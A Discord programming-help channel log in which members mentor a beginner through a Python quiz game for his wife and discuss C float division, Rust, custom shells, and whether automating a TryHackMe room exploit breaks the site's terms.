python -m random 6
6

# Random floating-point number
python -m random 1.8
1.7080016272295635

# With explicit arguments
python  -m random --choice egg bacon sausage spam "Lobster Thermidor aux crevettes with a Mornay sauce"
egg

python -m random --integer 6
3

python -m random --float 1.8
1.5666339105010318

python -m random --integer 6
5

python -m random --float 6
3.1942323316565915
#

YAY FINALLY

#

lol

gusty umbra
#

No, this is the command line usage

rough pebble
#

oh

gusty umbra
#

You need this: random.randint(a, b), also remember to assign this to a variable

rough pebble
#

ok, sorry this is all getting confusing

gusty umbra
#

No problem, here to help

rough pebble
#

let me get sum to drink

#

1 sec plz

#

alr

#

back

#

ok so

#

what I have right now is

#
import time 
import random

print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us")
input (" ")
print ("I truly hope you can enjoy this game, it is a game for both of us to enjoy")
time.sleep(2)
print ("would you like the level to be hard, medium, easy")
input (" ")
#

is this right, or wrong

gusty umbra
#

You can remove the inputs and time.sleep() and use only one print statement

rough pebble
#

alright

gusty umbra
#

As for difficulty, we can implement that later

rough pebble
#

alright

gusty umbra
#

Difficulty meanning number of tries

rough pebble
#

so I got

import time 
import random

print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us, I hope you can enjoy this game as much as I will")
#

up to this point I'm right or wrong

gusty umbra
#

Right, now assign the random integer to a variable.

After that, you can confirm that the number is indeed random, by printing the variable

rough pebble
#

ok, hints plz

gusty umbra
#

How do you create a variable in python ?

rough pebble
#

(sorry didn't mean to make it sound like a command)

rough pebble
gusty umbra
rough pebble
#

OHHH

#

I remember now...

#

fuck

#

I rlly need to get back in this again lol

#

ok, so now what?

rough pebble
#

alright, but I'm thinking about

#

setting it up for the player to choose the answer first, like easy, hard, medium and depending on the input is depending how many tries they get

#

yk?

gusty umbra
#

Pseudo-code

INPUT: Choose dificulty

If input is EQUAL to 1:
do this

if input is equal to 2:

   do that
rough pebble
#

kk

gusty umbra
rough pebble
#

nothing just like saying

#

ok

#

or alright got it

#

just kk

#
Pseudo-code 

INPUT: Choose dificulty

If input is EQUAL to 1:
        do this

if input is equal to 2:
#

all of this?

gusty umbra
#

Hmmm ok. For this part you'll need to know the if and elif statements

https://www.w3schools.com/python/python_conditions.asp

gusty umbra
rough pebble
#

even the pseudp-code?

gusty umbra
#

no

rough pebble
#

alr

gusty umbra
#

check the link i just sent about conditions

rough pebble
#

kk

#

done

gusty umbra
#

you also need to assign the input to a varible, so you can compare it in the if condition

rough pebble
#

hey is it ok if I try sum first/

#

?*

gusty umbra
#

it's your code man

rough pebble
#

thanks

#

give me a sec

#

just wanna test sum out

#
import time 
import random

print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us, I hope you can enjoy this game as much as I will")
print ("please choose your diffeculty, hard easy or medium")
input ("")

if imput != hard:
    quit


print ("thank you for playing")
time.sleep(2)
print("first question")
#

didn't work

#

lol

rough pebble
#

yea...

gusty umbra
#

First things first, don't try to write the end of the script and fit stuff in the middle.

rough pebble
#

yea

gusty umbra
#

You should check the python syntax first too

rough pebble
#

ok, no more ideas, listen to u now

gusty umbra
#

get familliar with the language

rough pebble
#

yea

gusty umbra
#

1 sec

rough pebble
#

kk

gusty umbra
rough pebble
#

alright

gusty umbra
#

You should check the w3 schools or other resources to get familiar with the language

rough pebble
#

the pass won't work...

gusty umbra
gusty umbra
rough pebble
#

hm?

rough pebble
#

thank u!

gusty umbra
#

All you need to build your program is there. I'm going to play skyrim now, good luck !

Feel free to ping me later if you're having trouble.

#

This is actually very sweet, the fact that you're making a little game for your wife and all ...

rough pebble
#

thank you

rough pebble
rough pebble
#
import time
import random

def stop


def main():
    print("hello welcome to my quiz game, please choose a name")
    
    # Prompt the user to enter their name
    user_name = input("Please enter your name here: ")
    
    # Greet the user with their name
    print(f"Hello, {user_name}!")

if __name__ == "__main__":
    main()

# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")

print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")

if input != ("you"):
    print("sorry, you failed, try again later")
    stop

print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
print("next question")

why won't it def stop?

#

(don't give me the answer just give me a hint)

#

(and plz @me)

whole yacht
#

@rough pebble recheck how to declare certain things.

rough pebble
#

Alright

#

How exactly?

rough pebble
rough pebble
#

I FOUND IT

#

ugh, nvm

rough pebble
#

I've tried to fix this code in another file but nothing

magic falcon
#

what's the required specficiation for a function?

rough pebble
#

I fixed it, but like...it still skips the stop or even when I just put quit it doesn't

#
import time
import random

def stop():
  def main():
    print("hello welcome to my quiz game, please choose a name")
    
    # Prompt the user to enter their name
    user_name = input("Please enter your name here: ")
    
    # Greet the user with their name
    print(f"Hello, {user_name}!")

if __name__ == "__main__":
    main()

# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")

print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")

if input != ("you"):
    print("sorry, you failed, try again later")
    stop

print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
print("next question")
#

or something like this I thiink

magic falcon
#

You should step through this and watch the execution to see why things aren't behaving the way you think

rough pebble
#

alright, I'll do that, but tmrw, I'm tired rn and I do NOT wanna mess up the code more than It is

wispy kestrelBOT
#

Gave +1 Rep to @magic falcon (current: #11 - 788)

hollow sorrel
#

First time making a Burp plugin with Java, wish me luck @brazen eagle

#

Intellij IDEA already got me lost lol

brazen eagle
wheat mica
#

hiii people ok so i wrote a lil intro to c programming for beginners
I would like to get feedback on my writing styles, data accuracy if your free ofcause xD
also i'll be posting more of my journey on c programming so feel free to follow ;>
https://medium.com/@winkk2512/my-c-programming-journey-starting-with-hello-world-b7b6c26f4671

Medium

So I’ve been studying C programming for a while and like why not make a blog for all of us out here trying get into coding/programming…

upbeat frost
wheat mica
wispy kestrelBOT
#

Gave +1 Rep to @upbeat frost (current: #9 - 890)

tacit lynx
rough pebble
#
import time
import random

def main():
    print("hello welcome to my quiz game, please choose a name")
    
    # Prompt the user to enter their name
    user_name = input("Please enter your name here: ")
    
    # Greet the user with their name
    print(f"Hello, {user_name}!")

if __name__ == "__main__":
    main()

# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")

print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")

if input != ("you"):
    print("sorry, you failed, try again later")
    quit

else:
    print("you have made it to the 2nd question of level easy")
    time.sleep(2)
    print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
    time.sleep(2)
    imput ("next question:")
#

(The imput part was just a test thing, I don't think on putting the)

time.sleep(2)
imput ("next question: ")
#

FINALLY, THANK U (TO Everyone who helped me in my code!)

#

specially you @gusty umbra

#

(I have two folders one I use to fix the code and if I mess up its just a backup there's no problem I can fix it, the real one is for the code its self)

gusty umbra
rough pebble
rough pebble
gusty umbra
#

YOu can put the main functionality in a loop, so the program doens't exit when you give a wrong answer

rough pebble
#

How?

#

(Sorry for the very late response lol, you need to reply/@ me for me to reply fast)

rough pebble
#

alr

#

how do I define the tries?

#

(I got this, their the same)

#

the right one is the actual game, the left is a testing ground to test codes

#

@gusty umbra

gusty umbra
#

if the number is equal to 5 for example you break the loop and exit the game

rough pebble
#

I got an Idea, how but I'm not positive

gusty umbra
#

Try making another program just for this

rough pebble
#

alr

gusty umbra
#

When you make it work, implement that in the main program

rough pebble
#

I'll use the left side to test it

#

brb

#

(in 30 minutes I gtg to do HW)

gusty umbra
#

is this newspeak ? hahha

rough pebble
gusty umbra
#

a simple while loop will do the trick

rough pebble
#

how?

#

lol

gusty umbra
#

1 sec

rough pebble
#

kk

gusty umbra
#

number_of_tries = 0

while number_of_tries < 3:
    input(">>> ")
    number_of_tries += 1
rough pebble
#

thx

#

(found a New problem...)

#

brb

#

whenever I type "You" it still quits

#

see?

gusty umbra
#

remove the ()

#

just "you"

rough pebble
#

hm?

gusty umbra
#

line 26

rough pebble
#

yea

#

Ik

#

let me give it a try

#

1 sec

gusty umbra
#

additionally you can convert the input to lowercase

That way you can type: YoU You yOU etc

#

you can also remove the random module, you're not using it anymore

upbeat frost
rough pebble
#

(I did it as u told me then I removed both)

#

did the same

gusty umbra
#

The if else conditions

rough pebble
#

hm?

#

take out the else?

gusty umbra
#

can you send me the src ?

rough pebble
#

sure

#

(this is my testing ground, NOT the "ACTUAL" quiz file)

gusty umbra
#
if input == "you":
    # do something

else:
    print("You failed")
rough pebble
#

FUCK

#

I KNEW IT...

#

fuck

#

alr, thanks man

gusty umbra
#

hahahah no worries

#

try the loop now

rough pebble
#

let me

#

1 sec

#

"expected if

gusty umbra
#

yes exactly

rough pebble
gusty umbra
#

you only need one if/else condition

#

if the input is the right one do something

if not, do something else

rough pebble
#

na won't work

#

let me try sum

#

1 sec

#

AYYY

#

I Used ur idea, and made it!

#

(thank u!)

gusty umbra
#

🥳

rough pebble
#

see?

#

I swear, I'm starting to remember more and more...

#

thanks to u

gusty umbra
#

awesome

#

try the loop now

#

it's easy

rough pebble
#

kk

#

how

rough pebble
#

yea

#

I see now

#

thanks

#

I did it

#

Thank you

gusty umbra
#

works ?

rough pebble
#

yea

gusty umbra
#

hooray

rough pebble
#

after 3 attempts it quits

#

brb

#

back

gusty umbra
#

What's left ?

#

to do

rough pebble
#

wait, the attempts do I need to do it for each question?

gusty umbra
#

idk i'ts your program

#

do you want to ?

rough pebble
#

I mean...

#

let me try sum first

#

won't work.

#

hey man, I got HW

#

rn

#

mind if we continue tmrw?

gusty umbra
#

sure no problem

#

just ping so i can see it

rough pebble
#

thanks

rough pebble
gusty umbra
#

🤝

rough pebble
#

cya man

bright gyro
#

yo Gs

#

anybody into advert of code

#

im stuck im day 1 pls h3lp m3h

tacit lynx
#

not big fan of it tbh

bright gyro
#

But yeah it consumes time and not that benificial

tacit lynx
#

yoo awesome, what lang u using?

bright gyro
#

Python

#

Id learn more about using libraries and apis and leave the complex numerical things for AI

tacit lynx
bright gyro
#

Yh me too

#

Something that makes sense

#

Not nonsense numbers

tacit lynx
#

also it's funny creating tech debt cuz of skill issues

tacit lynx
#

just to get into dsa and shit like that

bright gyro
#

What is dsa 😭

tacit lynx
#

data structures and algorithms

#

i guess it's spelled like this

bright gyro
#

Oooo

#

Yeah im attending this course now in uni

tacit lynx
#

good luck homie

#

but dsa is such a cool topic god damn

#

i love my algs

bright gyro
#

Mid exam i got 29/30 mark while the next highest mark was 22 💀

bright gyro
tacit lynx
bright gyro
#

Yh i have good charisma

tacit lynx
bright gyro
#

But at the same time feels bad cuz all ppl around me are dump

#

Its like being a captain on sheep 😂

tacit lynx
#

i wouldn't call em dumb, maybe they are good at other htings and this is thier weak spot bro

bright gyro
#

Ah yes u have a point

tacit lynx
#

i have point 👉

#

pointy pointy finger

bright gyro
#

U have a pointer !

tacit lynx
#

noooo not em pointers

#

pointers are cool but also damn annoying

bright gyro
#

Its pointing on nothing so its is use after free vulnerable

tacit lynx
#

that's why all of my homies use RUST

bright gyro
#

Roosten chicken 😋

tacit lynx
#

what 😭

bright gyro
#

Random statments before sleep

tacit lynx
#

fair bro

rich verge
#
void Gaussian_Blur() {

    int row, col, rowOffset, colOffset;
    int newPixel;
    unsigned char pix;
    //const unsigned short int size=filter_size/2;
    const unsigned short int size = 2;

    /*---------------------- Gaussian Blur ---------------------------------*/
    for (row = 0; row < N; row++) {
        for (col = 0; col < M; col++) {
            newPixel = 0;
            for (rowOffset = -size; rowOffset <= size; rowOffset++) {
                for (colOffset = -size; colOffset <= size; colOffset++) {

                    if ((row + rowOffset < 0) || (row + rowOffset >= N) || (col + colOffset < 0) || (col + colOffset >= M))
                        pix = 0;
                    else
                        pix = frame1[M * (row + rowOffset) + col + colOffset];

                    newPixel += pix * Mask[size + rowOffset][size + colOffset];

                }
            }

            printf("New Pixel: %d\n", newPixel);
            filt[M * row + col] = (unsigned char)(newPixel / 159);

        }
    }

}```

Not only is it not printing the new pixel it just comes back with 0, 0, 0 when debugging via main
tacit lynx
#

bro is that cs50x?

surreal bronze
whole yacht
#

good one

sinful sparrow
#

Any c++ programers

tacit lynx
#

sup

sinful sparrow
#

Where do u learn the concept of oops

hollow sorrel
#

This blog post roughly explains the idea of OOP

sinful sparrow
#

Thanks

livid ginkgo
sharp bone
#

Object-Oriented Analysis and Design with Applications by Grady and Booch is the OG book.

dense hound
#

Lets say I wanted to code a program that interacts with an already open window, with C++ What project should I create in visual studio? What library (the include thing) should I look into?

drifting bobcat
#

Hello people, I am trying to write a zero-click automated exploit(zero to root) for a tryhackme room and I need some help around that, someone available to help?

This is my first time trying to do something like this, pretty new to the subject.

lyric mirage
surreal bronze
drifting bobcat
drifting bobcat
#

How can I get a confirmation of this? is there someone I can contact?

lyric mirage
#

See 2.2.

drifting bobcat
#

2.2
As a condition of using the Site, you must not, except as permitted by the rules of specific Rooms and only to the extent of within a Room:

a. misuse or attack the Site or any Room by introducing viruses, trojans, worms, logic bombs or any other material which is malicious or technologically harmful to the Site, other users, or the communications networks and infrastructure used to access and make available the Site (such as by way of a denial-of-service attack); - not doing this

b. attempt to gain unauthorized access to the Site and/or Room, the server on which the Site is stored or any server, computer or database connected to the Site; and not doing this

c. engage in any unlawful, inappropriate and abusive use of the content available on the Site at all times. not doing this too

lyric mirage
#

What are you doing though, is using a room for not its intentional purpose.

#

Which is a)

Btw.

drifting bobcat
#

Sir/Mam, I am just trying to get better at automation for my own personal learning, I don't intend to publish this anywhere. I don't see anything against this in the ToS you shared, How is it illegal is my question which is beyond my understanding atm.

lyric mirage
#

It's not illegal, it's breaching the terms of the service.

#

A user was using a machine to get better at Windows, to transfer files and they had to stop as it was not on scope for the room.

#

This was also covered in 2.2 a)

drifting bobcat
#

I am attacking the room in manual way, I am doing that same thing via a python script, how are they different?

#

and I am not publishing that script in order for others to get easy access, as I said, for my own learning.

lyric mirage
#

If you wish a staff members input,

Cc @true pumice

drifting bobcat
#

thank you. 🙂

drifting bobcat
#

Hey @true pumice

Would really appreciate your 2 cents on this if I am allowed to do this or not?

lyric mirage
#

I've already pinged him, there is no need to ping him twice 😅

true pumice
drifting bobcat
#

OK, the one liner question is, can I automate the exploit that is present in a room or not?

#

@true pumice This ^

tulip sail
# lyric mirage Which is a) Btw.

In what world is using the machine in a room for an unintended purpose "introducing viruses, trojans, worms, logic bombs or any other material which is malicious or technologically harmful to the Site, other users, or the communications networks and infrastructure"?

#

I'd agree that point should be adapted to cover the common knowledge that you shouldn't misuse THM VMs, but it absolutely does not say that right now lmfao

lyric mirage
lyric mirage
tulip sail
reef coral
hallow chasm
#

I'm sorry 😭 I'm done now

shadow vigil
#

i need help with django

tulip sail
north trellis
#

Hello guys! If there is already someone who has used the API and OAuth meta (facebook, threads etc..), I have a lot of problems and questions! 🙂 thanks

nocturne wadi
quaint pine
#

Hi everyone, I wanted to know if any of you knew if scraping twitter was doable (without getting instantly ip banned), I know it's against their TOS and I know there is a free api version but the rates are quite restrictive, it's just for a personal project of mine and I won't make too much requests per hour. Any ideas ?

lyric mirage
reef coral
nocturne wadi
#

Maybe not quite programming but i got Arch linux installed, without archinstall, an iso in any way, or a live usb!

#

Very proud

#

Took 3 days

#

And it breaks if i shut down so i have to reboot and shutdown from the bios menu lmfao

tacit lynx
#

yooo that's great!!!!!

tough nexus
tough nexus
tough nexus
reef coral
tough nexus
reef coral
#

we could ask around but i am 100% down for this

tough nexus
#

Yep ! And not sure

tough nexus
#

tryna figure out how to skip integer divsion truncation in C. float ravioli; ravioli = (5/9)*(sauce-32) how can I get (5/9) to be interpreted as floating numbers as truncation keeps setting/rounding value to 0. A work around I have used is assigning 5,9 to variables like so float x,y; x=5,y=9;there has got to be a cleaner way I can go about this lol(I am new literally just started C last week)

#

ughhh any chat but general is dead lol

#

I really barley need help just wanna spark a technical converstaion lol

tacit lynx
#

at least that's i do it and it works for me

tough nexus
wispy kestrelBOT
#

Gave +1 Rep to @tacit lynx (current: #470 - 12)

magic falcon
#

casting can result in weirdness between operations on differing types as well. Recommended way to do this is by using teh built-in language features to ensure a literal is actually used as the type and not orignated as an int and then typecast.

#

Also we usually don't help on coursework or schoolwork, as we can't really tell the difference between allowed things and honor code violations for your institution

rustic briar
#

smh why use casting when you can just declare floats float ravioli = (5.0/9.0) * (sauce - 32.0);

tacit lynx
#

yeah you can do that too, but like i said that's how i do it

tough nexus
wispy kestrelBOT
#

Gave +1 Rep to @rustic briar (current: #782 - 6)

tough nexus
tough nexus
tacit jewel
tacit lynx
#

yea that's fr

brazen eagle
languid topaz
#

if it declare double or not at this point could be compiler dependant

#

In some compiler for some embeded system, 9.0 would declare float, and 9 would make an int, where an int would be 16 bits

tough nexus
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle (current: #13 - 615)

brazen eagle
#

Either way best to be explicit, 5.0f will declare float, and 5.0d will declare double

languid topaz
#

Does 5.0d really work? I never saw that syntax before for double

nocturne wadi
#

It does on Java at the very least

#

Thats the only place ive seen it in my programming before

magic falcon
#

There is a similar type of documentation for cpp as well.

brazen eagle
#

Ah might be cpp then

magic falcon
#

it's both languages truthfully. The constant literal declarations are intentionally the same, since C is a subset of C++

rapid charm
#

better to specify with f if you're using floats

brisk coral
#

Do you think programming a ftp server is good for a beginner project in C++?

#

I'm migrating from python with high knowledge coding with regex, threading, asynchronous programming etc

#

I want something challenging

#

Something that will actually benefit me in the long run

#

I know assembly and how memory works, so I'm looking for a difficult project that could span multiple files or folders

tacit lynx
#

it's a nice starting project tho

brisk coral
#

I'm tryna go big or go home

tacit lynx
#

i'm confused

brisk coral
tacit lynx
#

you can push any project to take longer time to complete. you can add more and more features, go stupid on optimalizations etc

brisk coral
tacit lynx
#

yoo can i join you in this project? this sounds fun

brisk coral
#

Haha sure

#

The first step is creating something insane

tacit lynx
#

first step is the insanity

brisk coral
#

Creating new protocols is pointless unless you're getting paid, like creating compilers, ASTs, debuggers, decompilers etc

#

I wanna create something good

brisk coral
tacit lynx
#

i'm c/rust guy myself

brisk coral
#

Is it better? Idk but I think c is easier than go, that may be controversial but it's how it is for me

brisk coral
tacit lynx
brisk coral
#

The problem that I have with rust is it's undeveloped ecosystem like I can't develop regex with exrex or develop regex with regexgen like I can with python

brisk coral
tacit lynx
tacit lynx
#

so u knowwwww

tacit lynx
#

that's sum struggles

#

fr

brisk coral
#

It may be hard but it's not as hard as assembly

#

It all follows rules, and rules can be broken

#

I wonder if there's any undocumented vulnerabilities in rust because it's an upcoming language

tacit lynx
#

i don't think so

brisk coral
tacit lynx
#

dunno can't tell bro

brisk coral
#

Yeah fair enough, I guess you'd have to scan it daily

tulip sail
# brisk coral It may be hard but it's not as hard as assembly

Assembly is about as simple as you get, as far as languages go. There are basically no stylistic rules. It's literally just "what does the processor support".

Granted that makes actually doing anything complicated with it take longer, but the extra time is down to not having any standard functionality to fall back on, rather than the language itself being weird (unlike Rust kekw ).

nocturne wadi
nocturne wadi
#

Im going to try to make a hashing algorithm

#

I think i want the seed for it to be based off of the string itself

tough nexus
#

I feel like i got the ball rolling for this chat lol it was so dead until i asked that basic C question 😆

tough nexus
brazen eagle
brisk coral
brisk coral
tulip sail
brisk coral
#

However operational complexity demonstrates the constraints of different programming languages. Arguably this makes programming in these languages like assembly more complex than higher level languages?

tulip sail
#

Now that I will agree with

brisk coral
# tulip sail Now *that* I will agree with

Feel free to correct me but as far as I'm aware, the complexities of low level programming becomes apparent a lot quicker with programming languages like C. Python makes these abstraction layers more accessible to end users. And assembly is the core of it all

tulip sail
#

Languages like Rust are actually really interesting for that, because they feel quite high level, but they compile right down

brisk coral
#

Exactly, it's just a much better program too because of that low level control, that's why I also think rust is going to pop off within the next year

#

Rust has so much potential, if it ends up becoming a part of my toolkit I'll probably end up making my own libraries

#

Not like full libraries but tailored ones @tulip sail

rapid charm
#

ive been interested in learning rust

#

i mainly use c/c++ but ive heard a lot about it and it seems very interesting

nocturne wadi
#

I came from c++ and learned rust as well

#

I personally learned it fine by just looking at simple rust programs and watching some yt videos

static sluice
#

hey guys i wanna know if learning c++ is useful in cybersecurity?

upbeat frost
tacit lynx
rapid charm
#

i will not tag you again but id also like to add that it will allow you to get a much lower understanding of how computers/networking works

#

gotta know how things work on a decent level to be able to break or protect them depending on what youre interested in

nocturne wadi
nocturne wadi
#

Custom shell!

#

Also sorry about it being a picture

brisk coral
#

what did you make it with?

nocturne wadi
nocturne wadi
brisk coral
#

Very neat

#

Are you going to make it open source or are you gonna make it custom/private

nocturne wadi
#

Still also not released but im not super far from releasing it

brisk coral
#

sweet man, i'm looking forward it it

nocturne wadi
#

Thanks!

brisk coral
#

might add some networking functions to it when it's released

brisk coral
gaunt matrix
#

does anyone know why this is happening

#

nevermind solved it

abstract shell
#

anyone got a good roadmap to learn reverse engineering and exploit development for pentests?

nocturne wadi
nocturne wadi
brazen eagle
nocturne wadi
#

Yes it is

#

I plan on doing actual expression evaluation soon

brazen eagle
#

package manager code needs airing 😉

#

I'd probably class out the commands into a plugin infra

#

rather than a big if-else block

nocturne wadi
nocturne wadi
brazen eagle
lilac holly
nocturne wadi
#

Installed a statusbar. I think it looks good

tacit lynx
nocturne wadi
wispy kestrelBOT
#

Gave +1 Rep to @tacit lynx (current: #356 - 17)

magic falcon
#

as funny as it might be, lets keep political anything out of this discord please

tacit lynx
#

okay sure

nocturne wadi
#

Can you send a few lines before the line with the error?

tribal ice
#

@nocturne wadi

nocturne wadi
#

add_scraper doesnt have a close parentheses

tribal ice
#

thanks

lyric mirage
#

@tribal ice How about we don't perform scrapes on social media?

nocturne wadi
#

ah i forgot that people try to do illegal stuff sorry

lilac holly
#

what is a good way to base64 decode a file using Powershell? PS > [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("data")) seemed crazy verbose, yet using certutil -decode data.b64 data.txt was a lot easier, thoughts?

hollow sorrel